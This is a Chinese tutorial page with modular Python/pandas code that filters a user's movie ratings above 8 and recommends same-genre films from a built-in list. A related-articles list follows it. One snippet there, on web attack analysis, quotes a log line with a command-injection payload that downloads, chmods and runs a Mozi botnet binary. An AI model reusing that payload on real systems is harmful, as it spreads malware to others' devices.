导入自己的观影记录(电影名,评分,时长),统计高分电影(8分以上),推荐同类型电影。

为你完整设计一个观影记录分析与推荐系统,结合大数据与智能管理课程的思想,从场景到代码、从模块到文档,全部覆盖。

1. 实际应用场景 & 痛点引入

场景

你是一名电影爱好者,长期在豆瓣、IMDb 等平台记录观影数据(电影名、评分、时长)。你想:

- 快速找出自己打过 8 分以上 的高分电影。

- 根据高分电影的类型,推荐同类型的其他高分影片。

痛点

- 手动筛选高分电影耗时。

- 没有自动化的推荐机制,需要自己去搜索同类型电影。

- 缺乏数据驱动的电影偏好分析。

2. 核心逻辑讲解

1. 数据获取

- 输入观影记录(CSV/Excel),字段包括:

"title"(电影名)、

"rating"(评分)、

"duration"(时长)、

"genre"(类型,可选,若没有则需外部数据源补充)。

2. 数据清洗

- 确保评分为数值类型,去除无效数据。

3. 高分电影筛选

- 筛选评分 ≥ 8.0 的电影。

4. 推荐同类型电影

- 如果有类型信息,则从外部电影数据集(如 IMDb Top 250 或 TMDB API)中匹配同类型且评分高的电影。

- 这里为了演示,我们用一个内置的“同类型高分电影库”模拟推荐。

5. 输出结果

- 打印高分电影列表。

- 打印推荐电影列表。

- 可选:保存结果到 CSV。

3. 代码实现(模块化 + 注释)

目录结构

movie_analysis/

├── data/

│ └── my_movies.csv

├── output/

├── analysis.py

├── utils.py

├── movie_db.py

├── README.md

└── requirements.txt

"requirements.txt"

pandas>=1.5.0

"utils.py"(工具函数)

import pandas as pd

def load_movie_data(file_path):

"""

加载观影记录 CSV 文件

:param file_path: CSV 文件路径

:return: DataFrame

"""

df = pd.read_csv(file_path)

# 确保评分为数值类型

df['rating'] = pd.to_numeric(df['rating'], errors='coerce')

return df

def clean_data(df):

"""

清洗数据:删除评分为空的行

:param df: DataFrame

:return: 清洗后的 DataFrame

"""

return df.dropna(subset=['rating'])

"movie_db.py"(模拟电影数据库)

# 模拟同类型高分电影库

SIMILAR_MOVIES = {

"剧情": [

{"title": "肖申克的救赎", "rating": 9.7, "duration": 142},

{"title": "阿甘正传", "rating": 9.5, "duration": 142},

],

"科幻": [

{"title": "星际穿越", "rating": 9.3, "duration": 169},

{"title": "盗梦空间", "rating": 9.3, "duration": 148},

],

"动作": [

{"title": "黑暗骑士", "rating": 9.2, "duration": 152},

{"title": "速度与激情7", "rating": 8.5, "duration": 137},

]

}

def get_similar_high_rated_movies(genre, limit=2):

"""

根据类型获取同类型高分电影

:param genre: 电影类型

:param limit: 返回数量

:return: 列表

"""

return SIMILAR_MOVIES.get(genre, [])[:limit]

"analysis.py"(主分析逻辑)

import pandas as pd

from utils import load_movie_data, clean_data

from movie_db import get_similar_high_rated_movies

def analyze_movies(file_path):

# 1. 加载数据

df = load_movie_data(file_path)

df = clean_data(df)

# 2. 筛选高分电影(≥8分)

high_rated = df[df['rating'] >= 8.0]

print("你的高分电影(≥8分):")

print(high_rated[['title', 'rating', 'duration']])

# 3. 推荐同类型电影

recommended = []

for _, row in high_rated.iterrows():

genre = row.get('genre', None)

if genre:

similar = get_similar_high_rated_movies(genre)

for movie in similar:

movie['source_genre'] = genre

recommended.append(movie)

# 去重

unique_recommended = {m['title']: m for m in recommended}.values()

print("\n推荐的同类型高分电影:")

for m in unique_recommended:

print(f"{m['title']} ({m['source_genre']}) - 评分: {m['rating']}")

# 4. 保存结果

high_rated.to_csv('../output/high_rated_movies.csv', index=False)

pd.DataFrame(unique_recommended).to_csv('../output/recommended_movies.csv', index=False)

print("\n结果已保存到 output/ 目录")

if __name__ == "__main__":

analyze_movies('../data/my_movies.csv')

4.

"README.md"

# 观影记录分析与推荐系统

## 功能

- 导入观影记录(电影名、评分、时长、类型)

- 筛选高分电影(≥8分)

- 根据类型推荐同类型高分电影

- 保存结果到 CSV

## 环境依赖

- Python 3.8+

- pandas

## 安装

bash

pip install -r requirements.txt

## 使用

1. 将观影记录放入 `data/my_movies.csv`,格式如下:

title,rating,duration,genre

肖申克的救赎,9.7,142,剧情

阿甘正传,9.5,142,剧情

星际穿越,9.3,169,科幻

...

2. 运行分析脚本:

bash

python analysis.py

3. 查看终端输出的高分电影和推荐电影,并在 `output/` 目录查看保存的 CSV 文件。

## 作者

全栈开发工程师 & 技术布道者

5. 核心知识点卡片

知识点 说明

Pandas 数据加载

"pd.read_csv()" 读取 CSV,

"to_numeric" 转换类型

数据清洗

"dropna()" 删除缺失值,保证分析准确性

条件筛选

"df[df['rating'] >= 8.0]" 筛选高分电影

字典数据结构 用字典存储同类型电影库

去重技巧

"{m['title']: m for m in list}" 字典推导式去重

模块化设计 工具函数、数据库模拟、主分析逻辑分离

6. 总结

本项目展示了如何用 Python 快速构建一个观影记录分析与推荐系统,结合了:

- 大数据处理思想(数据清洗、条件筛选)

- 智能管理应用(个性化推荐)

- 全栈开发实践(模块化、文档化、可扩展性)

通过这个小项目,你可以:

- 掌握 Pandas 数据处理与分析的核心方法

- 学会用字典和列表构建简单推荐引擎

- 理解如何将个人数据转化为可行动的洞察

- 为后续接入真实电影 API(如 TMDB)、Web 前端、可视化大屏打下基础

如果你需要,可以生成一个示例 CSV 观影记录文件,这样你可以直接运行代码看到效果

利用AI高效解决实际问题,如果你觉得这个工具好用,欢迎关注我!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1168831.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GB/Z167-2025《系统控制图》全维度解析

GB/Z167-2025《系统控制图》是 2025 年 12 月 3 日发布的国家标准化指导性技术文件,适用于过程工业连续控制系统(如石油、天然气工艺过程)的设计与管理。其核心价值在于建立统一的操作控制功能定义和逻辑图规范,填补了传统 P&…

如何用开源 HIS 系统实现病案高效归档与检索?天天开源医疗软件介绍

引言在医疗信息化落地过程中,中小型医院常面临 “病案管理规范化不足、系统部署成本高、数据检索效率低” 三大核心痛点。开源HIS 系统凭借可定制化、低成本的优势,成为解决这类问题的优选方案。项目介绍中小型医院在选择开源 HIS 系统时,往往…

1700RZ14005A电路板控制器

1700RZ14005A 电路板控制器型号: 1700RZ14005A 类型: 控制器 / 控制电路板 适用系统: 工业自动化控制系统(如 Taylor MOD 系列)基本介绍1700RZ14005A 是工业控制系统中的 控制器模块,安装在控制机柜的背板或机箱中。它负责接收输入信号、执行…

锁住新鲜,守护价值:基于工业网关的冷链物流全程可视溯源体系

场景痛点:医药用品、生鲜食品、化工产品等对运输仓储温湿度有着严格的要求。传统温湿度监测局限于冷链车辆中,数据孤立、无法远程查看,一旦出现异常而司机没有及时发现,就有可能带来经济损失和信誉风险。此外,企业也难…

网友直呼不可能,重庆到河南居然仅200公里

在我们许多人印象中,地处西南的重庆与坐落于中原的河南相隔千山万水,然而仔细查看地图会发现,两省市最近处直线距离仅约200公里。 这一数字让人惊叹不已,甚至有网友直呼不可能。 但从地图上测量的结果来看,重庆到河南…

2026重磅揭秘:赋能智能制造业,AI考勤排班Top厂商全景解析

在智能制造与精益生产深度融合的今天,制造业的人力资源管理正面临前所未有的挑战。多班倒、跨生产线协调、灵活用工需求以及严格合规性要求,让传统考勤排班方式不堪重负。AI考勤排班专员以其智能化、数据化、自动化的核心能力,正成为制造业提…

MySQL 数据可视化的核心步骤

数据准备与清洗 确保数据质量是可视化的基础,通过SQL查询筛选、聚合或转换数据,例如使用GROUP BY、JOIN或窗口函数处理原始数据。对于缺失值或异常值,可通过COALESCE或CASE WHEN进行修正。连接可视化工具 主流工具如Tableau、Power BI或Pytho…

6024NR14130电源模块

6024NR14130 电源模块 — ABB Taylor 系列型号: 6024NR14130 类型: 模块化电源模块功能与应用6024NR14130 是一款工业级模块化电源模块,主要用于 ABB Taylor 系列或 MOD300 控制系统中。它为控制系统的 CPU、I/O 模块、通信模块等提供稳定电源,保证整个系…

一文讲透线框图:概念、分类、工具与注意事项全解析

很多新手产品经理常犯的一个错误是:需求还没理顺,就开始纠结按钮是圆角还是直角,配色是极简白还是高级蓝。 想要避免这个问题,其实很简单,先专注画好线框图。 线框图排除了美学的干扰,强迫团队聚焦于最本…

脸都不要了!美国开始正式出售委内瑞拉石油

当地时间1月14日,一位美国政府官员透露,美国已完成首批委内瑞拉石油的销售。 这笔交易价值5亿美元,该官员补充说,预计未来几天和几周还将进行更多石油销售,图2为委内瑞拉一处炼油厂。 1月3日凌晨,美国对委…

ChatGPT优化公司有哪些?剖析专业服务商的核心能力矩阵

在人工智能应用日趋深化的商业环境中,ChatGPT等大语言模型的优化能力,已成为衡量企业数字竞争力的一项重要指标。真正的优化服务商,其价值不仅在于提升单次交互的满意度,更在于构建一套可迭代、可衡量、且与商业目标对齐的系统性能…

基于 Flutter × HarmonyOS 6.0 开发的字数统计小工具实践「CountBot」 的跨端实现

基于 Flutter HarmonyOS 6.0 开发的字数统计小工具实践—— 「CountBot」 的跨端实现前言 在日常开发与内容创作过程中,文本字数统计是一类看似简单、却使用频率极高的小工具。从写技术文档、博客文章,到编辑需求说明、代码注释,开发者往往需…

针对论文降重与AI写作需求,目前市面上有8款热门网站提供高效改写与创作功能。

AI论文工具种类繁多,如何挑选符合自身需求的平台成为关键。通过对8款主流工具的实测分析,从降重效果、AIGC率优化及论文撰写能力等维度展开对比,综合效率、准确度与操作便捷性进行客观评估。以下为基于实际测试与用户评价的实用工具排行摘要。…

一眼读懂中国7大地理区域,你的家乡在哪个板块?

从白山黑水到南海之滨,从雪域高原到江南水乡,中国 960 万平方公里的土地上,地理风貌、人文风情千差万别。为了更清晰地梳理这片土地的地理脉络,地理学界将全国划分为 7 大地理区域,每个区域都有着独特的自然禀赋、经济…

6151NB10700接口机箱模块

6151NB10700 接口机箱模块型号: 6151NB10700 类型: 接口机箱 / 模块底盘核心定位6151NB10700 是用于 ABB Taylor MOD 300 控制系统的接口机箱模块,它主要作用是为多个接口模块提供安装平台和背板连接,实现模块之间的电气互联和供电支持。它本身不处理信…

Prompt(提示词)核心指南:从避坑到高效设计

Prompt(提示词)核心指南:从避坑到高效设计 Prompt 是向 AI 传递需求的“沟通桥梁”,核心是清晰、精准、贴合场景,既要避免常见误区,又要通过结构化设计让 AI 精准响应,以下是关键要点&#xff1…

支持多语言_多站点_站群功能的cms企业建站系统分析

在做网站制作过程中,会有很多场景需要站群功能,比如外贸网站需要多语言,集团网站每个子公司都需要做网站,政务网站的站群集约化管理等等,这就都需要支持站群功能的cms系统来实现,可以使用站点在同一平台管理…

提升Prompt设计能力

一、掌握核心设计原则(基础框架) 明确目标与角色: 给模型指定“身份”(如“你是电力行业电网故障分析专家”),限定其知识范围与语气;清晰定义输出要求(如“输出格式为故障类型影响范…

常见的web攻击分析

命令注入攻击 41.56.180.56 - _ - - [13/Jan/2026:20:54:50 +0000] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 157 "-" "-" "-"分析 wget …

Python 教程:一键生成自解压源码文件,自动还原并打包项目

在日常开发中,我们有时会遇到这样的需求: 想把一个项目源码打包成单个 .py 文件对方只需要运行这个 .py,就能自动还原所有源码同时还能生成一个 zip 压缩包,方便分发或存档 本文将手把手教你实现一个 Python 自解压源码方案&#…